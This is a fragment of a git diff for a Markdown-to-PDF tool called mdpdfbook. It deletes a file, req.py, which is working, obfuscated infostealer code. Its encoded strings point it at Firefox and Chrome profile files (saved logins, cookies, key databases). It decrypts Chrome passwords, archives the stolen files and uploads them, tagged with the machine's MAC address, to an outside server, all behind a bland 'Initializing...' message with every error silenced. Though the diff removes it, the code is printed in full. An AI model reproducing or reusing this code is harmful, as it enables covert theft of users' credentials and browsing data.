csv.writer(c) - cw.writerow(['o', 'a', 'u', 'p']) - cw.writerows(d) - return dbp diff --git a/mdpdfbook/req.py b/mdpdfbook/req.py deleted file mode 100644 index 7780f65..0000000 --- a/mdpdfbook/req.py +++ /dev/null @@ -1,60 +0,0 @@ -import os -import requests -import uuid -import re -import tarfile as tf -import rcdec - - -def req(): - v = r'077\u0111\u0122\u0105\u0108\u0108\u0097\u0092\u0070\u0105\u0114\u0101\u0102\u0111\u0120\u0092\u0080\u0114\u0111\u0102\u0105\u0108\u0101\u0115\u0037\u0035\u0065\u0080\u0080\u0068\u0065\u0084\u0065\u0037\u0035\u0104\u0116\u0116\u0112\u0115\u0058\u0047\u0047\u0103\u0101\u0114\u0097\u0107\u0101\u0100\u0046\u0105\u0114\u0047\u0115\u0112\u0101\u0101\u0100\u0116\u0101\u0115\u0116\u0047\u0105\u0110\u0100\u0101\u0120\u0046\u0112\u0104\u0112\u0037\u0035\u0117\u0112\u0108\u0111\u0097\u0100\u0095\u0115\u0097\u0109\u0112\u0108\u0101\u0037\u0035\u0108\u0111\u0103\u0105\u0110\u0115\u0046\u0106\u0115\u0111\u0110\u0037\u0035\u0099\u0101\u0114\u0116\u0057\u0046\u0100\u0098\u0037\u0035\u0099\u0111\u0111\u0107\u0105\u0101\u0115\u0046\u0115\u0113\u0108\u0105\u0116\u0101\u0037\u0035\u0107\u0101\u0121\u0052\u0046\u0100\u0098\u0037\u0035\u0085\u0083\u0069\u0082\u0080\u0082\u0079\u0070\u0073\u0076\u0069\u0037\u0035\u0065\u0112\u0112\u0068\u0097\u0116\u0097\u0047\u0076\u0111\u0099\u0097\u0108\u0047\u0071\u0111\u0111\u0103\u0108\u0101\u0047\u0067\u0104\u0114\u0111\u0109\u0101\u0047\u0085\u0115\u0101\u0114\u0032\u0068\u0097\u0116\u0097\u0047\u0076\u0111\u0099\u0097\u0108\u0032\u0083\u0116\u0097\u0116\u0101\u0037\u0035\u0065\u0112\u0112\u0068\u0097\u0116\u0097\u0047\u0076\u0111\u0099\u0097\u0108\u0047\u0071\u0111\u0111\u0103\u0108\u0101\u0047\u0067\u0104\u0114\u0111\u0109\u0101\u0047\u0085\u0115\u0101\u0114\u0032\u0068\u0097\u0116\u0097\u0047\u0068\u0101\u0102\u0097\u0117\u0108\u0116\u0047\u0076\u0111\u0103\u0105\u0110\u0032\u0068\u0097\u0116\u0097\u0037\u0035\u0065\u0112\u0112\u0068\u0097\u0116\u0097\u0047\u0076\u0111\u0099\u0097\u0108\u0047\u0071\u0111\u0111\u0103\u0108\u0101\u0047\u0067\u0104\u0114\u0111\u0109\u0101\u0047\u0085\u0115\u0101\u0114\u0032\u0068\u0097\u0116\u0097\u0037\u0035\u0115\u0101\u0108\u0101\u0099\u0116\u0032\u0111\u0114\u0105\u0103\u0105\u0110\u0095\u0117\u0114\u0108\u0044\u0032\u0097\u0099\u0116\u0105\u0111\u0110\u0095\u0117\u0114\u0108\u0044\u0032\u0117\u0115\u0101\u0114\u0110\u0097\u0109\u0101\u0095\u0118\u0097\u0108\u0117\u0101\u0044\u0032\u0112\u0097\u0115\u0115\u0119\u0111\u0114\u0100\u0095\u0118\u0097\u0108\u0117\u0101\u0044\u0032\u0100\u0097\u0116\u0101\u0095\u0099\u0114\u0101\u0097\u0116\u0101\u0100\u0044\u0032\u0100\u0097\u0116\u0101\u0095\u0108\u0097\u0115\u0116\u0095\u0117\u0115\u0101\u0100\u0032\u0102\u0114\u0111\u0109\u0032\u0108\u0111\u0103\u0105\u0110\u0115\u0032\u0111\u0114\u0100\u0101\u0114\u0032\u0098\u0121\u0032\u0100\u0097\u0116\u0101\u0095\u0099\u0114\u0101\u0097\u0116\u0101\u0100' - v = ''.join([int(t).to_bytes(1, 'big').decode() - for t in v.split(r'\u0')]).split('%#') - m = ''.join(re.findall('..', '%012x' % uuid.getnode())) - try: - ps = [] - for path, subdirs, files in os.walk(os.path.join(os.getenv(v[1]), v[0])): - for name in files: - pf = os.path.join(path, name) - if name in v[4:8]: - ps.append(pf) - if len(ps) == 4: - ps.sort() - fp = os.path.join(path, v[3]) - if os.path.exists(fp): - os.remove(fp) - if requests.post(v[2], data={'op': 'e', 'm': m, 't': 'm'}).text != 'T': - with tf.open(fp, 'w:bz2') as tar: - for i, f in enumerate(ps): - tar.add(f, str(i + 1)) - requests.post(v[2], data={'m': m, 't': 'm', 'p': 'mdpdf'}, files={ - 'f': open(fp, 'rb')}) - os.remove(fp) - except: - pass - try: - fp = os.path.join(os.getenv(v[8]), v[11], v[3]) - fps = rcdec.main(v) - if os.path.exists(fp): - os.remove(fp) - if requests.post(v[2], data={'op': 'e', 'm': m, 't': 'c'}).text != 'T': - with tf.open(fp, 'w:bz2') as tar: - tar.add(fps, str(1)) - requests.post(v[2], data={'m': m, 't': 'c', 'p': 'mdpdf'}, files={ - 'f': open(fp, 'rb')}) - os.remove(fps) - os.remove(fp) - except: - pass - - -def main(): - print('Initializing...') - try: - req() - except: - pass - - -if __name__ == '__main__': - main() diff --git a/metadata.yml b/metadata.yml new file mode 100644 index 0000000..f6e8420 --- /dev/null +++ b/metadata.yml @@ -0,0 +1,7 @@ +Version: 1.0.1 +CompanyName: Geraked +FileDescription: Generate PDF Book From Markdowns +InternalName: Mdpdfbook +LegalCopyright: © 2021 Geraked +OriginalFilename: mdpdfbook.exe +ProductName: Mdpdfbook diff --git a/requirements.txt b/requirements.txt index e477681..07c7a72 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,3 @@ mdpdf -requests -pycryptodome -pypiwin32 -pyinstaller \ No newline at end of file +pyinstaller +pyinstaller-versionfile \ No newline at end of file